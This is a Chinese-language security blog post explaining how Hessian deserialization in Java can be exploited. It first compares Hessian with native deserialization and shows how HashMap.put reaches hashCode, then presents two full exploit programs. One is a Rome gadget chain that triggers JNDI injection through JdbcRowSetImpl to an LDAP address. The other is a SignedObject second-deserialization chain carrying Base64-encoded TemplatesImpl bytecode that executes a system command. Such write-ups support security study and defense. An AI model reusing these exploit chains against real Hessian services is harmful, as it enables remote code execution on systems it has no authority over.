Hessian反序列化

Sl0th Lv4

Hessian 反序列化

基础

RPC

Remote Procedure Call Protocol,远程过程调用协议,和 RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。

通讯过程:

1.客户端发起请求,并按照 RPC 协议格式填充信息
2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
3.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理
4.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回

maven 添加扩展:

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

Hessian反序列化与原生反序列化的区别

示例类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import javax.management.BadAttributeValueExpException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Code implements Serializable {
public String name="ttt";
public int age=222;

public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
private void readObject(ObjectInputStream ois){
System.out.print(1);
}
}

原生序列化反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.*;

public class demo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(new Code());
oser.close();

System.out.println(ser);
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
}

image-20230126221405110
image-20230126221405110

Hessian序列化反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class hessianDemo {
public static void main(String[] args) throws IOException {
ByteArrayOutputStream ser = new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(ser);
hessianOutput.writeObject(new Code());
hessianOutput.close();

System.out.println(ser);

HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
hessianInput.readObject();
}
}

image-20230126222015375
image-20230126222015375

从运行结果中可以看出,Hessian反序列化不会自动调用反序列化类的readObject方法,这也就直接导致JDK原生反序列化的大多数gadgetHessian反序列化中是不能用的。

还有一个很重要的区别,hessian反序列化中序列化的类不需要实现序列化接口。

Hessian反序列化漏洞

虽然Hessian反序列化不会自动调用反序列化类的readObject方法,但其也有自己的特性,当其反序列化Map类型的对象的时候,会自动调用其put方法,写个demo试试

1
2
3
4
5
6
7
8
9
import java.util.HashMap;

public class testMap extends HashMap {
@Override
public Object put(Object key, Object value) {
System.out.println("test");
return super.put(key, value);
}
}

然后反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.*;

public class hessianDemo {
public static void main(String[] args) throws IOException {
testMap tt=new testMap();
tt.put(1,1);
ByteArrayOutputStream ser=new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(ser);
hessianOutput.writeObject(tt);
System.out.println(ser);
HessianInput hessianInput = new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
hessianInput.readObject();
}
}

image-20230126224841023
image-20230126224841023

可以看到确实调用了put方法,这时看到HashMapput方法

image-20230130233718255
image-20230130233718255

key调用hash方法进行处理

image-20230126225301457
image-20230126225301457

只要key不为空,就会调用其hashCode方法,思路一下就打开了,之前看过的利用链中有部分就用到了hashCode方法,比如rome,又比如cc6等。

就如原生JDK有ysoserialHessian也有对应的工具生成paylaodmarshalsec 中就集成了Hessian反序列化的gadget,可以使用其生成paylaod,该工具中集成了5个gadget

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringPartiallyComparableAdvisorHolder

漏洞分析

触发点

由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77),会进入这个case

1
2
3
4
5
case 'M': {
String type = readType();

return _serializerFactory.readMap(this, type);
}

跟进readMap

1
2
3
4
public Object readMap(AbstractHessianInput in, String type)
throws HessianProtocolException, IOException
{
Deserializer deserializer = getDeserializer(type);

跟进getDeserializer,创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Deserializer getDeserializer(String type)
throws HessianProtocolException
{
//...
if (deserializer != null) {
if (_cachedTypeDeserializerMap == null)
_cachedTypeDeserializerMap = new HashMap(8);

synchronized (_cachedTypeDeserializerMap) {
_cachedTypeDeserializerMap.put(type, deserializer);
}
}

return deserializer;
}

这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。那么只需要找一条入口为 hashcode 的反序列化链即可

1
2
3
4
5
Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor

打Rome

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package moonflower.hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.ObjectNameDeserializer;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_Rome {
//包装序列化的函数
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
//包装反序列化的函数
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
//反射设置value
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
//反射获取value
public static Object getValue(Object obj, String name) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:9999/EXP";
jdbcRowSet.setDataSourceName(url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(equalsBean, "1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

// 用反射动态创建数组,防止在狗仔 gadget 的时候触发 put 方法导致 RCE。
public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.until.HashMap$Node");
}
catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}

}

Rome的rce过程

1
2
3
synchronized (_cachedTypeDeserializerMap) {
_cachedTypeDeserializerMap.put(type, deserializer);
}

进入触发点,接着调用 EqualBean 的 hashcode 方法

image-20230124203554850
image-20230124203554850

接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)

image-20230124203614807
image-20230124203614807

接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter

image-20230124203639615
image-20230124203639615

image-20230124203654578
image-20230124203654578

当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。

image-20230124203716717
image-20230124203716717

image-20230124203736906
image-20230124203736906

不出网打法(ROME)

hessian反序列化依赖rome的不出网利用方式

SignedObject二次反序列化

java.security.SignedObject中有一个getObject方法

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

是一个原生反序列化,那么就可以利用这里实现二次反序列化从而实现RCE。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import sun.security.provider.DSAPrivateKey;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class romeExp {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
HashMap hashMapx=getObject();

//构造SignedObject对象
SignedObject signedObject=new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});


//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");

//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");

//反射修改字段
Field obj= EqualsBean.class.getDeclaredField("_obj");
Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");

obj.setAccessible(true);
equalsBean.setAccessible(true);

obj.set(equalsBean.get(objectBean),toStringBean);

ByteArrayOutputStream ser = new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(ser);
hessianOutput.writeObject(hashMap);
hessianOutput.close();

System.out.println(ser);
HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
hessianInput.readObject();
}

public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

//获取原生反序列化对象
public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");

//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");

//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("_obj");
Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");

obj.setAccessible(true);
equalsBean.setAccessible(true);

obj.set(equalsBean.get(objectBean),toStringBean);

return hashMap;
}
}
  • 标题: Hessian反序列化
  • 作者: Sl0th
  • 创建于 : 2023-01-30 23:29:13
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2023/01/30/Hessian 反序列化/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论